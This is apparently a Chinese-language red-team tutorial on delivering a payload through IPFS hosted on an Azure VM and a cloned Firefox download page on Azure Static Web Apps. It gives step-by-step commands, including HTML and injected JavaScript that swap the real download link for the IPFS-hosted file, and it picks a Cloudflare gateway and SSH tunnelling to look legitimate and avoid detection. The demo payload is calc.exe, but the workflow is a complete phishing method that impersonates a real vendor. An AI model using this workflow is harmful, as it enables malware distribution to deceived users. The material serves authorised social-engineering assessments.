载荷投递:基于Azure静态网站与IPFS投递器的技术实现
免责声明:本文仅用于教育目的,演示威胁攻击者如何利用这些技术进行社会工程攻击。请负责任地使用,不要进行任何非法活动!
目录
- Azure虚拟机设置
- 创建Azure VM
- 安装IPFS
- Azure静态网站管理
- 设置Azure静态网站
- 克隆网站
- 开发环境设置
- 安装NodeJS和NPM
- 安装SWA CLI工具
- 代码部署
- 资源
Azure虚拟机设置
创建Azure VM
我们将使用Azure VM安装IPFS。在云红队系列中,我们已涵盖部署VM的过程。以下是设置VM并连接的相关步骤链接:
- 启动虚拟机(VM)
- 连接到VM
安装IPFS
设置虚拟机并连接后,我们从IPFS分发站点下载Kubo(go-ipfs)发行版。Kubo是用Go编写的IPFS包,提供与IPFS网络交互所需的所有功能,包括运行节点、存储和检索数据以及与其他节点通信。
对于我们的设置,我们选择了x64的Linux架构,与之前创建的Azure机器兼容。使用wget或curl下载文件:
bash
wget https://dist.ipfs.tech/kubo/v0.28.0/kubo_v0.28.0_linux-amd64.tar.gz
然后解压文件,移动到"kubo"目录,并运行安装脚本。确保以root身份运行脚本以避免权限错误。首次运行脚本时,它将可执行文件"ipfs"移动到/user/local/bin/。
bash
tar -xf kubo_v0.28.0_linux-amd64.tar.gz
cd kubo
sudo ./install.sh
启动IPFS,运行命令:
bash
ipfs
安装IPFS后,我们可以创建一个名为"files"的目录来存储要共享的文件。此步骤是可选的,但有助于保持工作区组织有序。对于此演示,我们将使用Windows计算器作为托管文件的示例,以表示有效载荷:%WinDir%\System32\calc.exe。使用scp命令将calc.exe上传到VM上的files目录。
bash
sudo scp -i IPFS-VM_key.pem calc.exe azureuser@Azure_VM_IP:/home/azureuser/ipfs/files
设置IPFS节点时,需要运行命令ipfs init
。IPFS节点本质上是连接到IPFS网络的计算机或设备,例如笔记本电脑、台式机、服务器或智能手机。首次初始化节点时,您会收到对等身份的内容标识符(CID),每次运行IPFS时都应获取该标识符。CID用作IPFS网络内存储的任何数据的唯一指纹。
bash
ipfs init
对等CID以及其他配置信息保存在主目录中.ipfs目录中的"config"文件中。
要启动节点,请使用ipfs daemon
命令。这将在前台启动IPFS守护进程。您可以使用"Screen"在后台运行它。
bash
ipfs daemon
#启动屏幕会话,名称可以是任何内容
>> screen -S session_name
>> ipfs daemon
#将IPFS守护进程留在后台运行,并返回到终端
>> 按Ctrl + A,然后按Ctrl + D。
#列出可用会话
>>screen -ls
#返回到IPFS会话
>> screen -r sessionID 例如:screen -r 12345
当您看到Swarm信息时,表示守护进程已准备就绪。在IPFS上下文中,"Swarm"指的是负责管理点对点连接和节点之间数据交换的组件。
IPFS Web界面
可以通过默认端口localhost:5001/webui访问Web界面。为了避免在VM防火墙中打开端口以访问界面,我们可以使用本地端口转发技巧从测试机器本地访问它。从操作安全的角度来看,这种方法更好,可以避免被互联网扫描器检测到并被标记为可疑活动。唯一应向公众开放的端口是用于SSH的端口22。
要设置本地端口转发,我们可以退出当前SSH会话并使用-L标志重新SSH,或在当前会话上使用SSH命令。命令-L 5001:127.0.0.1:5001
创建一个隧道,将来自本地机器(Kali)端口5001的连接转发到远程服务器环回接口(127.0.0.1)的端口5001。这意味着发送到本地机器127.0.0.1:5001的任何流量将通过SSH隧道重定向到远程服务器的127.0.0.1:5001。
bash
ssh azureuser@Azure_VM_IP -i Azure_VM_KEY.pem -L 5001:127.0.0.1:5001
要上传文件,请单击侧边菜单中的"Files"选项并导入我们的文件"Calc.exe"。文件上传后,它将收到一个无法更改的CID哈希。如果您修改文件,将生成新的哈希值。要获取上传文件的公共链接,请单击侧面的三个点并选择"Share link"。
我们将使用此链接将其嵌入到我们将在后续步骤中创建的克隆站点中。我们上传的文件可能需要几分钟才能广播到IPFS网络。一旦可用,我们就可以访问和下载该文件。默认的公共网关是ipfs.io,但我们可以将其更改为IPFS公共网关上的任何可用网关。我们将默认网关更改为Cloudflare IPFS网络,因为它看起来更合法,并将链接用于Azure站点。
arduino
https://cloudflare-ipfs.com/ipfs/FILE_CID_HASH
要停止运行的守护进程,请运行ps -aux
,选择IPFS PID,并使用PID编号运行kill命令以停止进程。
bash
ps -aux | grep ipfs
sudo kill +9 PID_NUMBER
设置Azure静态网站
在本节中,我们将设置Azure静态网站以托管我们将在下一步中创建的克隆网站。首先,在Azure门户中搜索"Static Web Apps"并单击"Create static web app"。然后填写"Project Details",选择订阅和资源组。使用任何Azure服务时,必须首先创建订阅。这使Microsoft能够跟踪所使用的服务并向用户收费。创建订阅的说明在"红队云:部署Azure VM用于C2基础设施"指南中。
接下来,选择现有的"Resource group"或单击"Create new"(如果尚未设置)。为站点选择名称,选择"Hosting plan"类型为免费,并为"Deployment details"选择Other。然后移动到后续步骤,并选择默认选项,如下面的屏幕截图所示。接下来添加标签。标签就像是附加到任何Azure服务的标签,有助于管理和跟踪资源成本。最后,查看添加的信息并单击"Create"。创建需要几秒钟。站点部署后,我们将看到"Your deployment is complete"消息。单击"Go to resource"。
在新创建的站点中,单击"Overview"部分以查看有关站点的所有详细信息。接下来,导航到URL,下面的屏幕截图显示了创建新静态站点时的默认页面。我们可以使用自定义域创建比blue-meadow-0eeaa7210.5更有意义的内容,但这超出了本文的范围;我们将在未来的帖子中讨论它。
克隆网站
创建静态站点后,我们需要克隆一个对最终用户看起来合法且符合我们社会工程评估策略的网站。我们可以克隆客户的官方网站,展示他们使用的工具,或者如果他们销售应用程序,则克隆下载页面。拥有干净的克隆站点以显得合法至关重要。我推荐两个Chrome扩展程序,用于将完整网页保存为单个HTML文件,并嵌入所有资产(图像、CSS等)。安装以下扩展程序之一:
- Save Page WE
- SingleFile
对于此演示,我们将使用Firefox下载页面作为示例。要克隆页面,请导航到下载页面并单击Save Page WE扩展程序。它将HTML页面本地下载。下面的屏幕截图是克隆页面的截图。克隆后,创建一个新目录并将克隆的页面放入其中。我们将项目命名为"CloneSite"。在下一步中,我们将修改HTML代码,将官方下载链接替换为托管在IPFS上的有效载荷链接。
安装NodeJS和NPM
接下来,我们需要安装Node包管理器(npm)。建议安装捆绑了npm的Node.js以确保兼容性并简化过程。对于Windows,请访问官方Node.js下载页面并安装Windows安装程序。安装后,确保node.js和npm.ps1文件已添加到系统环境变量中的"Path"中。通过打开PowerShell终端并运行$env:path
来检查这一点,或者您可以通过指定node.js和npm文件的路径手动添加它们。
powershell
$env:path = "$env:path;C:\Program Files\nodejs;C:\Users\User\AppData\Roaming\npm"
然后,在运行npm之前,我们需要绕过PowerShell执行策略以能够运行npm.ps1脚本。否则,将遇到以下错误。
powershell
#绕过策略
powershell -executionpolicy bypass
之后,我们运行npm -v
来快速检查npm版本,并确保我们可以在终端中运行命令。如下所示,命令返回了当前安装的版本。
安装SWA CLI工具
为了将克隆的页面代码从我们的机器部署到Azure静态站点,我们将使用静态Web Apps CLI(swa)工具。在继续安装swa之前,请确保从Microsoft Store安装Python 3.12。如果您已经安装了python3,可以跳过此步骤。然后打开Visual Studio,选择我们之前创建的目录"CloneSite",并通过转到View > Terminal打开终端。接下来,绕过PowerShell执行策略,并通过运行以下命令安装swa工具。
powershell
#绕过策略
powershell -executionpolicy bypass
npm install -g @azure/static-web-apps-cli
代码部署
现在我们已经准备好推送代码,我们可以将IPFS有效载荷URL直接嵌入到HTML代码中,或使用JavaScript将原始URL替换为我们的URL。我将包括两种方法以供学习。返回克隆的页面,并使用浏览器的内置开发人员工具检查下载按钮的HTML"id"名称---download-button-desktop-release-win。在Visual Studio中搜索"id",并将原始下载URL替换为IPFS URL,然后保存。
html
<a class="download-link os_win mzp-t-xl mzp-c-button mzp-t-product ga-product-download" id="download-button-desktop-release-win" href="https://cloudflare-ipfs.com/ipfs/FILE_CID_HASH" data-link-type="download" data-display-name="Windows 32-bit" data-download-version="win" data-download-os="Desktop" data-download-location="primary cta">
//将代码放在文件末尾,</body></html>之前
<a href="https://download.mozilla.org/?product=firefox-stub&os=win&lang=en-US" id="download-button-desktop-release-win"> </a>
<script>
var element = document.getElementById("download-button-desktop-release-win");
element.href = "https://cloudflare-ipfs.com/ipfs/FILE_CID_HASH";
</script>
在开发人员终端中,使用swa login
命令登录到Azure门户,以获取将使我们能够推送代码的会话。一旦经过身份验证,它会重定向到端口31337上的localhost页面,声明身份验证已完成。有时,身份验证后页面不会快速弹出。如果发生这种情况,请再次运行swa login
命令。在终端中,我们可以看到我们已成功验证到Azure,并显示了可用的租户。我们可以选择我们的静态站点所在的租户。要检查您当前的工作租户,请访问Azure门户,并单击右上角您的帐户名称旁边的终端图标。终端激活后,运行Get-AzTenant
命令。它将提供租户信息,例如ID和连接的域。使用箭头选择要使用的租户,然后按Enter。
使用swa登录后,会在CloneSite目录中创建一个新的.env文件。该文件包含将用于代码部署的订阅ID和租户ID。要使用swa部署代码,您需要在同一目录中创建配置文件,运行swa
即可。这将启动配置文件,并询问您是否要将其命名为与站点名称相同。保持默认并按Enter。当询问设置是否正确时,按"Y"。当提示部署到您的应用程序时,键入"Y"并按Enter。如果询问是否要创建新应用程序,请键入"N"并按Enter。由于我们已经创建了一个应用程序,我们将使用部署令牌来部署我们的应用程序。部署令牌方法在您创建了多个应用程序并希望指定要部署到哪些应用程序时非常有用。要获取部署令牌,请转到Azure门户,导航到我们创建的静态站点,并在概述部分单击"Manage Deployment Token",然后复制令牌。运行swa命令后,配置文件将创建为JSON文件,名为swa-cli.config.json,位于主CloneSite目录中。
💡一个重要提示是,如果您将index.html文件直接放在CloneSite中,SWA将不会部署它。它不会显示错误,但网站将包含空内容。为避免这种情况,请创建一个名为"firefox-clone-site"的新目录,并将您的代码(index.html)放在那里。目录结构如下面的屏幕截图所示。此外,请确保将HTML页面命名为"index.html",使用小写"i";否则,它将不会部署。
现在我们有了项目的适当结构,我们可以使用swa deploy
命令部署项目。接下来,我们需要将环境指定为"production"。如果未指定环境,项目将部署在预览环境中而不是生产环境中。
bash
swa deploy .\CloneSite\firefox-clone-site\ --deployment-token TOKEN --env production
当我们单击下载按钮时,我们获取托管在IPFS上的文件。浏览器的行为各不相同---Edge和Firefox直接安装它,如屏幕截图所示。而Chrome将提示"Save As"窗口以保存可执行文件。在社会工程评估中,如果我们有好的借口来说服用户运行可执行文件,这并不重要。为了使其看起来更合法,我们可以指定自定义域而不是"blue-meadow-0eeaa7210.5"。我们不会在本文中包括它,但我们将在未来的帖子中涵盖它。
今天,我们学习了如何在Azure VM上设置IPFS节点并托管有效载荷文件。然后,我们克隆了一个网站并将其部署在Azure静态网站上,该网站将我们重定向到IPFS托管的有效载荷。今天就到这里,下次见!
资源
- 通过Cloudflare和IPFS发布dcorelabs.com
- 通过IPFS投递有效载荷
- 使用Azure容器实例运行InterPlanetary File System节点
- 将InterPlanetary File System用于攻击操作
- 威胁攻击者快速采用Web3 IPFS技术
- 无需GitHub Action从本地机器部署到Azure静态Web应用
#网络安全 #渗透测试 #信息安全 #网络安全